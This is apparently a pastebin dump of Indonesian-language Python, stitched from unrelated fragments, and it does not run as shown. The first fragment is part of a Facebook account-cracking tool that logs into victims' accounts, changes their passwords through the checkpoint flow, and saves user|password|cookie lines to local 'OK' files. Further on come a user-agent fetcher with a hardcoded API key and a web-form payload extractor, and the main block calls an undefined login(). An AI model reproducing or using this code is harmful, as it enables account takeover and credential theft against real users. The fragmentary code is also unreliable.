- resUbah=bs4.BeautifulSoup(ubahPw,"html.parser")
- link3=resUbah.find("form",{"method":"post"})
- but2=["submit[Next]","nh","fb_dtsg","jazoest"]
- if "Buat Kata Sandi Baru" in re.findall("\<title>(.*?)<\/title>",str(ubahPw)):
- for b in resUbah("input"):
- dat2.update({b.get("name"):b.get("value")})
- dat2.update({"password_new":"".join(pwbaru)})
- an=session.post(url+link3.get("action"),data=dat2)
- coki = (";").join([ "%s=%s" % (key, value) for key, value in session.cookies.get_dict().items() ])
- print("\r%s%s\033[0makun one tab, sandi berhasil di ubah \n╰─ OK %s%s%s|%s|%s "%(H,til,N,H,user,pwbaru[0],coki))
- open('OK/OK-%s.txt' %(waktu), 'a').write("%s%s|%s|%s\n" % (H,user,pwbaru[0],coki))
- #cek_apk(coki)
- else:
- print("\r%s%s \033[0makun one tab, silahkan anda login "%(H,til))
- open('OK/OK-%s.txt' %(waktu), 'a').write("%s %s|%s|%s\n" % (H,user,pw,coki))
- #cek_apk(coki)
- elif "Masukkan Kode Masuk untuk Melanjutkan" in re.findall("\<title>(.*?)<\/title>",str(response)):
- print("\r%s╰─\033[0m akun terpasang autentikasi dua faktor "%(M))
- else:
- print("%s%s\033[0mterjadi kesalahan"%(M,til))
- else:
- if "c_user" in session.cookies.get_dict():
- print("\r%s%s akun tidak checkpoint, silahkan anda login "%(H))
- open('OK/OK-%s.txt' %(waktu), 'a').write("%s%s|%s\n" % (H,user,pw))
- for opsi in range(len(cek)):
- number +=1
- jalan (" %s%s. %s%s"%(P,str(number),K,cek[opsi]))
- elif "login_error" in str(response):
- oh = run.find("div",{"id":"login_error"}).find("div").text
- print("%s╰─ %s"%(M,oh))
- else:
- print("%s╰─ \033[0mlogin gagal, silahkan cek kembali id dan kata sandi"%(M))
- def scarpping_ua():
- # Url & Headers website #
- url = "https://api.apilayer.com/user_agent/generate?android=true&chrome=true"
- header = {"apikey": "2ZxXnjQByF6rPu3GM5DtcEmrJfKqB5xL"}
- # Main menu #
- # os.system('clear')
- try:
- response = requests.get(url,headers=header)
- if response.status_code == 200:
- uascrap.append(response.json()['ua'])
- else:
- uascrap.append("Mozilla/5.0 (Linux; Android 5.0; SAMSUNG SM-G900F Build/LRX21T) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/2.1 Chrome/34.0.1847.76 Mobile Safari/537.36")
- except requests.exceptions.ConnectionError:
- uascrap.append("Mozilla/5.0 (Linux; Android 5.0; SAMSUNG SM-G900F Build/LRX21T) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/2.1 Chrome/34.0.1847.76 Mobile Safari/537.36")
- ###----------[ AUTHOR ]---------- ###
- Author = 'Dapunta Khurayra X'
- Version = 0.1
- Facebook = 'Facebook.com/Dapunta.Khurayra.X'
- Instagram = 'Instagram.com/ratya.anonym.id'
- # --> Modules
- import requests,bs4,sys,os,datetime,re
- from bs4 import BeautifulSoup as bs
- from datetime import datetime
- from itertools import count
- from requests import get
- from bs4 import BeautifulSoup
- from rich import print as cetak
- from rich import print as prints
- from rich.panel import Panel as nel
- done = False
- results = []
- # --> Clear Terminal
- def clear():
- if "linux" in sys.platform.lower():os.system("clear")
- elif "win" in sys.platform.lower():os.system("cls")
- # --> Waktu
- def start():
- global Mulai_Jalan
- Mulai_Jalan = datetime.now()
- def akhir():
- global Akhir_Jalan, Total_Waktu
- Akhir_Jalan = datetime.now()
- Total_Waktu = Akhir_Jalan - Mulai_Jalan
- try:
- Menit = str(Total_Waktu).split(':')[1]
- Detik = str(Total_Waktu).split(':')[2].replace('.',',').split(',')[0] + ',' + str(Total_Waktu).split(':')[2].replace('.',',').split(',')[1][:1]
- print('\nProgram Selesai Dalam Waktu %s Menit %s Detik\n'%(Menit,Detik))
- except Exception as e:
- print('\n\nProgram Selesai Dalam Waktu 0 Detik\n')
- # --> Main Program
- class get_data_web:
- def __init__(self):
- self.xyz = requests.Session()
- url = input('Masukkan URL : ')
- print('\n[1] Source Payload')
- print('[2] Parsed Payload')
- print('[3] Source Code Post Requests')
- self.tanya = input('Pilih : ')
- self.domain = url.split('/')[2]
- self.get_form(url)
- def get_form(self,url):
- req = self.xyz.get(url)
- raq = bs(req.content,'html.parser')
- for x in raq.find_all('form'):
- if self.tanya in ['1','01','a']: self.printing1(req,x)
- elif self.tanya in ['2','02','b']: self.printing2(req,x)
- elif self.tanya in ['3','03','c']: self.printing3(url,req,x)
- else: exit('\nIsi Yg Benar!')
- def get_head1(self,req):
- data = {}
- head = req.headers
- usls = ['cookie','set-cookie','report-to','expires','x-fb-debug','date','last-modified','etag']
- for x,y in zip(head.keys(),head.values()):
- try:
- if x.lower() in usls: continue
- else: data.update({x:y})
- except Exception as e:continue
- return(data)
- def get_data1(self,form):
- data = {}
- for y in form.find_all('input'):
- try:data.update({y['name']:y['value']})
- except Exception as e:continue
- return(data)
- def get_data2(self,form):
- data = []
- for y in form.find_all('input'):
- try:data.append(y)
- except Exception as e:continue
- return(data)
- def get_post1(self,form):
- z = form['action']
- if 'https://'+self.domain in z: return(z)
- elif 'http://'+self.domain in z: return(z)
- else: return('https://%s%s'%(self.domain,z))
- def printing1(self,req,x):
- head = self.get_head1(req)
- data = self.get_data1(x)
- post = self.get_post1(x)
- coki = self.xyz.cookies.get_dict()
- print('\n\n[SOURCE PAYLOAD]\n')
- print('[Host] %s'%(self.domain))
- print('[Head] %s'%(head))
- print('[Data] %s'%(data))
- print('[Coki] %s'%(coki))
- print('[Post] %s'%(post))
- def printing2(self,req,x):
- head = self.get_head1(req)
- data = self.get_data2(x)
- post = self.get_post1(x)
- coki = self.xyz.cookies.get_dict()
- print('\n\n[PARSED PAYLOAD]\n')
- # --> Tampil Headers
- print('head = {')
- for x,y in zip(head.keys(),head.values()):
- print(' %s%s: %s'%(x,' '*(29-len(x)),y))
- print(' }')
- # --> Tampil Data
- print('data = {')
- for x in data:
- try:
- if 'value' in str(x):
- dp = 'name=' + re.search('name=(.*?)/>',str(x)).group(1)
- fp = re.search('value="(.*?)"',str(dp)).group(1)
- print(" %s%s: '%s',"%(x['name'],' '*(19-len(x['name'])),fp))
- elif 'name' in str(x):
- print(" %s%s: '',"%(x['name'],' '*(19-len(x['name']))))
- else: continue
- except Exception as e: continue
- print(' }')
- # --> Tampil Cookie
- print('cookie = {')
- for x,y in zip(coki.keys(),coki.values()):
- print(' %s%s: %s'%(x,' '*(5-len(x)),y))
- print(' }')
- # --> Post Requests
- print("next = '%s'"%(post))
- print("post = requests.Session().post(next,headers=head,data=data,cookies=cookie)")
- def printing3(self,url,req,x):
- head = self.get_head1(req)
- data = self.get_data2(x)
- post = self.get_post1(x)
- print('\n\n[SOURCE CODE POST REQUESTS]\n')
- # --> Tampil Get Requests
- print("url = '%s'"%(url))
- print("requ = bs(requests.Session().get(url).content,'html.parser')")
- # --> Tampil Headers
- print('head = {')
- for x,y in zip(head.keys(),head.values()):
- print(' %s%s: %s'%(x,' '*(29-len(x)),y))
- print(' }')
- # --> Tampil Data
- print('data = {')
- for x in data:
- try:
- if 'value' in str(x):
- dp = 'name=' + re.search('name=(.*?)/>',str(x)).group(1)
- fp = re.search('value="(.*?)"',str(dp)).group(1)
- gp = dp.replace(fp,'(.*?)')
- rs = ("re.search('%s',str(requ)).group(1)"%(gp))
- print(' %s%s: %s,'%(x['name'],' '*(19-len(x['name'])),rs))
- elif 'name' in str(x):
- print(" %s%s: '',"%(x['name'],' '*(19-len(x['name']))))
- else: continue
- except Exception as e: continue
- print(' }')
- # --> Tampil Cookie
- print("cookie = requests.Session().cookies.get_dict()")
- # --> Post Requests
- print("next = '%s'"%(post))
- print("post = requests.Session().post(next,headers=head,data=data,cookies=cookie)")
- if __name__=='__main__':
- try:os.system('git pull')
- except:pass
- try:os.mkdir('OK')
- except:pass
- try:os.mkdir('CP')
- except:pass
- try:os.system('touch .prox.txt')
- except:pass
- login()
Add Comment
Please, Sign In to add comment